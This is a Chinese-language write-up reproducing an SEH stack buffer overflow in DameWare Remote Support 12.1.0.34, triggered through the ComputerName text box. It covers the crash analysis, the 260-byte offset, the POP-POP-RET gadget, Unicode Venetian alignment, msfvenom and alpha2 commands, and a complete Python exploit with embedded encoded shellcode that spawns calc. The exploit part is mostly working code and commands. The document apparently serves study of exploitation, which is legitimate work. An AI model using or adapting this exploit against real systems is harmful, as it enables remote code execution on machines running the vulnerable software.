DameWare Remote Support缓冲区溢出漏洞复现
字数 1856 2025-08-26 22:11:28
DameWare Remote Support 缓冲区溢出漏洞分析与利用
漏洞概述
漏洞名称: DameWare Remote Support 缓冲区溢出漏洞
影响版本: V.12.1.0.34
漏洞类型: 栈缓冲区溢出
利用结果: 远程代码执行
漏洞位置: Tools → Computer Comments → Description 功能下的 ComputerName 文本框
漏洞描述
DameWare 是一款著名的 Windows 远程控制软件。该漏洞存在于 ComputerName 文本框的处理逻辑中,当输入超长字符串时会导致栈缓冲区溢出,覆盖结构化异常处理(SEH)指针,从而允许攻击者执行任意代码。
环境准备
- 目标系统: Windows 7 (32位)
- 漏洞软件: DameWare Remote Support V.12.1.0.34
- 调试工具: Immunity Debugger + Mona 插件
- 辅助工具:
- MSF (Metasploit Framework) 用于生成 shellcode 和计算偏移
- Alpha2 编码器 (用于将 shellcode 转为 Unicode 兼容格式)
漏洞分析
1. 触发漏洞
在 DameWare 的 ComputerName 文本框中输入 5000 个"A"字符,程序崩溃,观察崩溃时的寄存器状态和栈状态。
2. 调试分析
使用 Immunity Debugger 附加 DameWare 进程进行分析:
- 关键调用函数位于
0x4CADB8 - 输入超长字符串后,程序断在
0x4CADB8处 - 单步执行发现 SEH 被覆写为
0x00410041(注意:不是预期的0x41414141)
关键发现:
- 程序将用户输入的 ASCII 转换为 UNICODE
- SEH 处理机制被破坏
3. 偏移量计算
使用 MSF 的 pattern_create 和 pattern_offset 工具计算精确偏移:
msf-pattern_create -l 5000 # 生成5000个唯一字符
msf-pattern_offset -q "37694136" -l 5000 # 查找偏移
结果: 偏移量为 260 字节
漏洞利用
1. 利用原理
利用结构:
padding + nseh + seh + shellcode
利用流程:
- 将 NSEH 的指针覆写为 shellcode
- 将当前 SEH 的处理函数指针指向 POP-POP-RET 指令序列
- 触发 SEH
- 将 NSEH 的指针弹入 EIP,执行 shellcode
2. 关键组件
a. POP-POP-RET 地址查找
使用 Mona 插件查找合适的 POP-POP-RET 指令序列地址:
0x007a0021 : pop esi # pop edi # ret
b. 兼容 Unicode 的跳转
由于程序将输入转为 Unicode,常规的 jmp short 指令无法使用。采用 Venetian shellcode 技术:
- 将 shellcode 的内存地址放到 eax 寄存器中
- push eax 到栈上
- ret eax 到 eip
c. Shellcode 对齐代码
align = ""
align += "\x43" * 10 # Padding
align += "\x58" # POP EAX
align += "\x73" # Venetian padding
align += u"\uC083" + "\x50" # ADD EAX, 50
align += "\x73" # Venetian padding
align += "\x50" # PUSH EAX
align += "\x73" # Venetian padding
align += u'\uC3C3' # RETN
3. Shellcode 生成
使用 MSF 生成计算器 shellcode 并转换为 Unicode 兼容格式:
msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw
示例 shellcode:
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPKPM0C03YK5P1Y01T4KR0004K22LLTKPRMDTKD2NHLO87PJO601KOFLOLQQCLM2NLMPWQXOLMKQWWK2ZRR2PWTKB2LPDKPJOLDKPLN1RXISOXKQXQPQTKPYMPKQXSTK19LX9SNZPITKOD4KKQYFNQKOVLY1XOLMM1WWOH9P45JVKSSMJXOKSMO43EK4PX4KR8MTM1YC1V4KLL0K4K28MLKQ8STKKT4KKQJ0SYOTMTO41K1KQQR9PZPQKOIP1O1OPZTKN2ZKTMQMBJM1TME5X2KPKPM0PPQXNQTKROSWKOXUGKJP85G2PVQX5VV57MUMKO9EOLKVSLKZU0KKYPT5KUWKOWMCRRRO2JKP0SKO8US31QRLS3M0A
4. 完整利用代码
#!/usr/bin/env python
junk1 = "\x41" * 260
nseh = "\x61\x43"
seh = "\x21\x7a"
align = ""
align += "\x43" * 10 # Padding
align += "\x58" # POP EAX
align += "\x73" # Venetian padding
align += u"\uC083" + "\x50" # ADD EAX, 50
align += "\x73" # Venetian padding
align += "\x50" # PUSH EAX
align += "\x73" # Venetian padding
align += u'\uC3C3' # RETN
junk2 = "\x43" * 18
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD"
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPKPM0C03YK5P1Y01T4KR0004K22LLTKPRMDTKD2NHLO87PJO601KOFLOLQQCLM2NLMPWQXOLMKQWWK2ZRR2PWTKB2LPDKPJOLDKPLN1RXISOXKQXQPQTKPYMPKQXSTK19LX9SNZPITKOD4KKQYFNQKOVLY1XOLMM1WWOH9P45JVKSSMJXOKSMO43EK4PX4KR8MTM1YC1V4KLL0K4K28MLKQ8STKKT4KKQJ0SYOTMTO41K1KQQR9PZPQKOIP1O1OPZTKN2ZKTMQMBJM1TME5X2KPKPM0PPQXNQTKROSWKOXUGKJP85G2PVQX5VV57MUMKO9EOLKVSLKZU0KKYPT5KUWKOWMCRRRO2JKP0SKO8US31QRLS3M0A"
crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3
print(crash)
利用演示
- 在 Windows 7 上运行 DameWare (需开启 XP 兼容模式并关闭 ASLR)
- 将生成的 payload 输入到 ComputerName 文本框
- 观察执行流程:
- 断在
0x007a0021(POP-POP-RET) - 单步执行到
ret指令 - 返回到 NSEH 指向的缓冲区
- 执行
add eax, 0x50 push eax然后ret- 最终执行 shellcode,弹出计算器
- 断在
注意事项
- 坏字符问题: 实际利用中可能存在坏字符中断执行流的问题,需要在 junk3 后添加两字节 Unicode 修正
- Shellcode 稳定性: 不同环境下生成的 shellcode 可能表现不同,需要多次尝试
- 调试技巧: 在关键地址 (
0x007a0021) 设置断点有助于跟踪执行流程
参考资源
- Exploit-DB 漏洞信息
- Alpha2 编码器源码
- 作者博客 (原文中未提供具体链接)
总结
该漏洞利用展示了经典的 SEH 覆盖技术,结合了 Unicode 兼容性问题解决方案和 Venetian shellcode 技术。关键点在于精确计算偏移、正确处理 Unicode 转换以及稳定的 shellcode 布置。这种技术可以推广到其他存在类似问题的应用程序漏洞利用中。